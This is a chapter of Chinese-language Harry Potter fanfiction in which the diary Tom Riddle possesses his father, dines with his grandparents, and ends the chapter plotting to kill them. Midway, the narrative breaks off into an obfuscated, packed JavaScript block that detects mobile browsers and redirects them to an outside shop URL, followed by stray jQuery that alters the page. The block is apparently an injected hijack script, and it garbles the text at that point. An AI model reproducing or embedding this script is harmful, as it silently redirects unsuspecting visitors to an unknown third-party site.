前情提要:耶和华不是神是黑巫师,父母不是外星人是地球垃圾。现实总比幻想难堪。

    汤姆·里德尔从铺着羊毛地毯的地板上爬了起来,大口大口地呼吸,像沙漠里的人吞水,像饥荒里的人咽食物。他喘气喘到咳嗽,喘到眩晕,视觉,听觉,嗅觉,恶心感和鼻腔内空气的凉意一起涌上来。与此同时,有谁在他的脑子里尖叫,哦,是他亲生父亲的灵魂残渣。

    *魔鬼——魔鬼——滚出我的身体——*

    先等一等,他现在顾不上这个,他正忙着呼吸。

    他发现自己的视野比以前明显变高了,颈椎和肩背隐约作痛,眼前出现了浅淡的飞蚊,一眨眼就消失。舌头上有陈年的烟味,后槽牙有一颗补过,带着金属味,他尝了出来。衰老像是来自另一个方向的重力,恒常存在。

    年长的汤姆转头望向另一个汤姆·里德尔——身体还很年轻的那个——他站在三步外,一手握紧魔杖,一手握紧日记本,警惕地盯着自己。他从他漆黑的眼睛里看到自己的倒影:一张汤姆·马沃罗·里德尔老了二十年后的脸。

    “出来了?”

    “出来了。”老汤姆还有点喘,感受到又一次拥有肺脏的畅快,他笑了,“现在我是你父亲了。”

    “我没有父亲。”

    “你有。小汤米。”老汤姆张开双臂,露出慈爱的笑容,明显是从邓布利多和迪佩特脸上学的——放在这张确实属于父亲的脸上,效果相当可怕。“来,抱一抱。”

    “你真无聊。”年轻的汤姆嫌恶地退后一步。

    “我是你爸爸。”

    “从魔法角度来讲,是我创造了你。是你该叫我爸爸。”

    老汤姆脸上的慈爱僵住了。

    “你把自己的孩子关在一本书里。”

    “难产。而且现在不是放出来了吗。”

    “还拿蛇怪的毒牙威胁他。”

    “他在分娩过程中企图谋杀生父。”

    年长的汤姆低头看了看自己的手。四十岁男人的手,骨节宽大,指甲修剪得整齐。他握紧拳头,再松开,感到指甲压过掌心的痕迹。这双手没有魔法。

    “大部分魔力还留在日记里。”年轻的汤姆说,“这具身体死亡后,你会回到那里面。”他说着,自然而然把那本黑色封皮的日记本收进了自己的背包里。

    老汤姆盯着他的手看,那双手年轻,修长,充满魔法的力量,而且捏着他的本体,是他现在所想要拥有的一切。

    另一个汤姆也知道他在看什么。

    “为什么要给我身体?”日记本汤姆忽然问,“缺乏父爱?”

    “这样有利于研究。”

    “你也可以继续往日记里塞书。”

    “然后看你在页边写满‘放我出去’?”

    “你可以合上。一直不去看。”

    “那我怎么检查你的研究成果?”年轻的汤姆轻描淡写地说,把挎包搭扣扣好,仿佛这就是全部理由。

    老汤姆深深看了他一眼。这样对待一个曾经差点夺走自己身体的人?他心软了。

    “放心。”年长的汤姆说,“我刚有了一副能睡觉的身体,暂时不打算再搬家。”

    “你最好是。”

    “这个房子里现在有四个汤姆·里德尔。”年长的汤姆指指自己的太阳穴,咧起嘴,“我们的父亲还剩一点残渣,正在这里面尖叫。隔壁还有一个托马斯·里德尔,可以简写成汤姆·里德尔。”

    “太多汤姆里德尔了。”

    “太多了。”

    他们在这一点上达成共识。

    老汤姆从领口掏出那个银制十字架,端详了一下。

    “他信这个?”

    “他刚才用这个驱魔。”

    “可惜没什么用。”老汤姆把那个吊坠又塞了回去,“说起来,他每次祈祷,都是向他妻子的祖先告状呢。”

    脑子里原主残渣的尖叫变成了一阵歇斯底里的祈祷。年长的汤姆听得津津有味,笑得容光焕发,仿佛年轻了十岁。

    “你注意到了吗?神学家们吵了几千年的三位一体在我们身上实现了。圣父,圣子,同一灵魂,两个位格,装在父与子两具身体里——”

    “那圣灵呢?”

    “也许会以蛇怪的形象出现,在密室里等着吃培根。”

    他们笑了,从嘴角的弧度到牙齿露出的速度都完全一样。

    这时,楼下传来餐具碰撞的声音。然后是一个老妇人的嗓音,穿过厚地毯和整条走廊传上来:

    “汤姆——下来吃饭。”

    两个人同时抬起了头。喊的是他们的名字,呼唤的却是他们的父亲。

    “我下去和我亲爱的爸爸妈妈——你慈爱的爷爷奶奶——见一见。”老汤姆理了理晨袍。

    “要到钱分我一半。”

    “当然。”

    年轻的汤姆从日记本上撕下一页,交给他。“在这个上面写字,我能看见。”

    年长的汤姆把那页纸折起来塞进烟盒,又把烟盒放进晨袍的口袋。他伸了个懒腰,听到脊椎骨咔咔的声音,不适应地扭扭头,推门走出房间。

    他的脑子里,残余的原主在尖叫。

    *我的脚。不,不要下去。不要伤害父亲母亲——*

    日记本魂器——现在是老汤姆了——慢慢下楼,步伐很小心,他感觉自己快一百年没走过路了。同时,他开始从老汤姆的记忆里翻找,好模仿老里德尔夫妇的对话。

    “父亲,母亲,晚上好。”他站在楼梯上俯视着餐厅。

    餐厅里只摆了三副餐具,占着长桌的一端,桌上有肉有菜,十分丰盛。托马斯·里德尔坐在主位,正把报纸折成整齐的长方形。玛丽·里德尔听见脚步声,朝他望来。

    “来,坐到这里。”玛丽·里德尔说,“今天安妮做了烤兔肉,你父亲的老战友们在山坡上偷偷打的。”

    “兔子在吃庄稼。”托马斯·里德尔严肃地说。

    “当然,亲爱的。”

    老汤姆开始吃。汁水在他嘴里爆开,兔肉的纤维被牙齿撕碎。在日记本里,他很久没有吃过东西了,但他仍然成功地克制了自己,保持了体面,就像他十一岁刚进入霍格沃茨时那样。

    “今天怎么没有加胡椒?”玛丽问。

    *妈妈,妈妈。你看出来了——这不是我,这不是我,我在这里。我被魔鬼附身了。*脑海里的原主在悲泣。

    老汤姆挖了挖那块残渣的记忆。这个人似乎每次都要往肉菜上撒海量黑胡椒。

    “换换新口味。”他随口说。

    “今天胃口很不错,亲爱的。再多吃点。”玛丽慈爱地给老汤姆夹菜。

    盘子里的兔肉只剩一半时,他开口:“父亲,我想去伦敦一趟。”

    “做什么?”

    “散散心。看看能做点什么。”

    “这年头不太平,德国人还在打,火车挤得要命,你乱跑什么。”

    “我四十岁了,父亲。我想出去看一看,想想自己有什么能做的。”老汤姆又从脑海里翻了翻——这个人确实就是宅在家不事生产,“我没有服兵役,可还是觉得,一个男人总该在这个时代做点什么。”

    “怎么突然想通了?”托马斯的表情放松了一点。

    “待得太久了。”

    “男人就是应该闯一闯。”托马斯满意地开始说教,“总是要出去碰一碰,碰一碰。”

    “亲爱的,你确实该多走走……”玛丽略微有点担忧,“不过伦敦太乱,天气也很热,也许先去乡下散散心?让管家和你一起。”

    “我一个人去就可以了,母亲。”

    “不行!”玛丽拒绝。

    “他都四十了!四十!玛丽,他要一个人,就让他一个人。”

    “可是,亲爱的……”

    老夫妇争论起来,玛丽担心夜里的警报,担心儿子到了陌生地方又失眠,而托马斯认为只要订一家像样的旅馆,这些问题都可以解决。不过他随后又因为玛丽提出的那家旅馆离车站太远而加入了她的担心。

    *你要走了?*身体原主的残渣似乎燃起一丝希望。*好,离他们远一点。不要伤害他们。我的身体随你怎么用。*

    “我需要钱,父亲。”老汤姆向父亲——或者祖父——要旅费,要得理直气壮。

    “先从书房抽屉里拿点现金,那里应该还有两百镑。”托马斯对儿子很慷慨,“明天我再给你开一张五百镑的支票。住好一点。别弄得寒寒酸酸的,叫人笑话。”

    老汤姆握着刀叉没有动。两百英镑。在进入日记本之前的人生里,他干过时薪一纳特的工作,吃过慈善性质的国民食堂,连一张五英镑的钞票都没见过。

    一种冰冷的愤怒忽然涌了上来。只要你们指缝里漏出一点点钱。一点点。我就不会在孤儿院里吃发了霉的灰面包,穿别人穿烂的鞋子——

    他抬起头,尽量像是随口一问。

    “那个女人,后来是不是也去了伦敦?”

    玛丽和托马斯扭头看向他。

    *别问她。都是她害的——*原主在他脑海里缩了一下。

    日记本汤姆突然从原主的记忆里看到一张女人的脸。那张脸浮肿、苍白,轻微斜视,衣着破败,但是挂着幸福的笑容。

    *汤姆。*她说。

    那个声音那么甜蜜,那么陌生。她笑着,她叫他的名字——不,她在叫她的丈夫的名字。他感到眩晕。他在他父亲的身体里,从他父亲的回忆里,第一次看见了母亲的眼睛。

    原来她长这样。

    她不是多么好看,但是从此她有了一张脸可供他思念。他想听她再叫一次自己的名字,记忆继续播放。画面扩大,她站在狭窄的厨房里,伸手替他理了理衬衫的领口,仰脸笑着。

    然后他俯身吻了她。

    汤姆用尽全部意志力才没有把喉咙里的兔肉呕出去。

    *出去。*原主哀求,*从我的记忆里出去。*

    “问她做什么?”玛丽缓声问,眼睛直直盯着儿子。

    “万一碰上。”老汤姆把那段记忆压下去,随口说,“她当时……是不是有了一个孩子?”

    餐桌上的空气坠入冰点。

    “哈!”托马斯冷笑,“你说她肚子里的那个该死的野种?”

    老汤姆抬起眼。

    “你知道她有孩子?”

    “亲爱的……”

    “上帝知道那玩意是谁的野种!”托马斯往地上啐了一口。

    “托马斯。”玛丽低声说。

    “怎么?她都敢挺着肚子找上门,我还不能说?”

    老汤姆手里的叉子仍旧插着一块兔肉,他抬眼看向他的父亲兼祖父。

    “她来过这里?”他的声音很陌生。

    “你那时候刚回来,浑浑噩噩的。”玛丽痛心地握住他的手,“我们怕你受刺激,就没有告诉你。”

    她的掌心温暖而干燥,拇指轻轻摩挲他的指节。

    原主认得这个动作。他小时候摔破膝盖,母亲就这样握着他的手,等医生把嵌进去的砂砾挑出来。

    *妈妈,别说了。*原主的残渣无声地喊。

    “那个女巫!”老托马斯痛骂,“那个该死的巫婆,把你骗成那样,竟然敢挺着大肚子找上门!你妈妈拿圣水泼她,不管用,她还是跪在门口丢人现眼。羞辱!羞辱啊!眼看着天要亮,街坊要围过来。我就拿来那把猎枪——就是我年轻时一天打了七只野鸭的那把——指着她,她就跑了!”

    哦。

    原来她来过这里。

    她怀着他,沿着他今天走过的那条路上山,敲过这幢房子的门,被人用圣水泼,用猎枪赶。

    然后,她死在了孤儿院门口。他留在了那里。

    他曾经轻蔑而愤怒地想过,她凭什么丢下他,她凭什么死。原来她不是没有试着求生过。但是没人给她活路。

    *不要说了。*残渣在尖叫,*父亲,不要再说了——*

    老汤姆继续翻找回忆,残渣试图藏起来,没有用。他看到梅洛普的身影——泪水流淌,表情扭曲,头发散乱,跪在地上。*不要走,汤姆——我怀孕了,不要离开我——*然后一个男人——就是汤姆正在用的这个身体——把一瓶魔药恶狠狠砸在她脑袋上—

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17959992|211320||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    —

    *那个该死的女巫控制了我。*残渣啜泣。*我必须走。*

    日记本汤姆觉得——

    他觉得——

    他觉得很麻烦。

    对,麻烦。这个词很合适。他抓住了这个词,就可以继续稳定地坐在餐桌旁,继续听托马斯咒骂那个女巫,继续保持面部表情平静自然。

    “已经过去了,汤姆。”玛丽安慰道,摩挲他的手,“这么多年过去了,她不会来了。”

    “谅她也不敢!”托马斯重重哼了一声。

    “是啊。”汤姆说,“她再也不会来了。”

    晚餐的剩余时间在一派和谐中度过。安妮端上来布丁,是面粉和苹果做的,上面浇了一层蛋奶,战时能做出这样的甜点已经很体面了。托马斯又喝了一杯波特酒。玛丽说起隔壁村子的某位太太最近身体不好。老汤姆从残渣的记忆里搜刮着邻居的名字和关系,点着头。原主已经不再尖叫了,蜷缩在某个角落里悲泣,像一个知道没有人能听见自己的孩子。

    饭后,年长汤姆去书房取钱,又回到楼上的卧室。年轻的汤姆正坐在床上无聊地晃着腿翻教科书。

    “怎么样?”

    “他们很麻烦。而且他们已经对我起疑了。”老汤姆说。他把钱放在床头柜上。年轻的汤姆看了一眼那叠钞票,晃着的脚停了。第一次见那么多钱。

    “他们说了什么?”

    “同意我去伦敦。你奶奶想让管家跟着,你爷爷拦下了。”

    “还有呢?”

    “还有五百镑的支票,明天开。”

    “我问的是别的。”年轻的汤姆看着他,“你不高兴了。”

    “哦,也没什么,儿子。”年长的汤姆轻描淡写地说,“只是你爷爷曾经拿着枪指着你妈妈的脑袋,赶走了她而已,当时你还在她肚子里,不记得也正常。”

    “哦。”汤姆说,目光又落回在课本上,很久没有往下移。

    两人之间沉默了一阵。

    “帮我杀了他们。”年长的汤姆说。

    “什么?”

    “他们很麻烦,会妨碍我——”

    “他们已经同意你去伦敦了。”汤姆打断他,“还给了你钱。不值得我们冒险杀人。”

    “你可以做得很干净。”

    “怎么做?”汤姆摊开手,“我们上次杀人,霍格沃茨差点关门。现在你要再制造两具尸体?你要怎么遮掩,怎么解释?难道再找一个海格顶包?”

    老汤姆沉默了很久。他们共享十五年的人生,他原以为无需费力解释,另一个自己便会明白他为什么坐不住。但是年轻的汤姆并没有在记忆里见过梅洛普的脸。

    “她来过这里。”年长的汤姆最终说,“她怀着孩子,跪在门口。然后他们赶她走了。”

    年轻的汤姆看了他一会儿。

    “所以?”他问,“你难道对他们有过任何期待吗?”

    老汤姆怔了怔,忽然笑了。

    “没有。”他说 。

    这就是他们开始分叉的地方。

    老汤姆拿起那叠钞票,分出一半,递过去。年轻的汤姆接住,低头开始点钞票。老汤姆又从自己那一份里又抽出几张,塞过去。

    “什么意思?”年轻的汤姆抬头。

    “住好一点。别弄得寒寒酸酸的,叫人笑话。”老汤姆慈爱地说,那句话和托马斯·里德尔一模一样。

    “你在打什么主意?”

    “我要负起父亲的责任,小汤米。”

    “你不是我父亲。”汤姆继续点钞票,“也不许叫我汤米。”

    他说着把钱分散开,一部分藏进鞋底夹层,一部分夹进课本。年长的汤姆趁他低头,拿起床边的挎包,翻出里面那沓绣过魔文的手帕。

    “你在火车上绣的?”

    “嗯。”

    “这张是沃尔布加去年送的。”

    “放下。”

    “你把她绣的家徽拆了?”

    “线很贵。”

    年轻的汤姆伸手来拿挎包。老汤姆便替他把那几张手帕拢齐,塞了回去,手在包里多停了一瞬。年轻的汤姆心里盘算着这些钱够在飞龙酒店住几晚,没有注意到。

    “钱已经拿了,你还要去哪?”老汤姆问。

    “冈特家。”

    “向爸爸要了钱,再向舅舅要?”

    “来都来了。”

    “很有家族观念。”

    年轻的汤姆离开,老汤姆在床沿坐了一会儿,从口袋里掏出一小团薄薄的丝绸。刚从自己手里偷的。

    脑子里的残渣又开始说话。

    *他已经说了。不用杀人。你听见了。他说——*

    老汤姆把手帕展开,白色的底,红色的线连成法阵,微光流动。叠好。

    “睡觉。”他说。

    他躺进柔软的床铺,拉过被子,枕头下面有一点薰衣草的气味。他闭上眼睛,过了片刻,又睁开。

    在日记本里,他不需要睡眠,也无法入睡。意识是一块不灭的灯,照在一间没有墙壁的空房间里。现在他终于有了眼皮,可以把灯关掉。此刻这床铺太软太陌生,让他想到一年级在霍格沃茨的第一晚,那是他第一次睡软床,像是陷在云里。

    然后他忽然意识到,他再也回不到霍格沃茨了——除非他死了,变回一本日记,可那样回去同样没有意义 。

    霍格沃茨里的人也都和他再无干系。他们只认识年轻的那个汤姆,阿布拉克萨斯会笑着找他,艾萨克会同他争论,阿尔芒会站到他身边。萨雷斯也只会把脑袋伸向那只熟悉的、温暖的手。灵魂变成了两半,身份却只有一个,总有一方会失去所有。这个念头让他重重地刺痛了一下。

    但是很快,困意来袭,就像黑色的布蒙住世界。临睡以前,他又回忆了一遍那张女人的脸。这个倒是他这半灵魂独有的东西。

    年轻的汤姆今晚去见莫芬·冈特,或许会以为争执已经结束。年长的汤姆抚摸着那块手帕,想着该怎样让莫芬接过它,再带着它走进里德尔宅。他们必须死。

    楼下的托马斯和玛丽,此刻正放心地准备睡觉。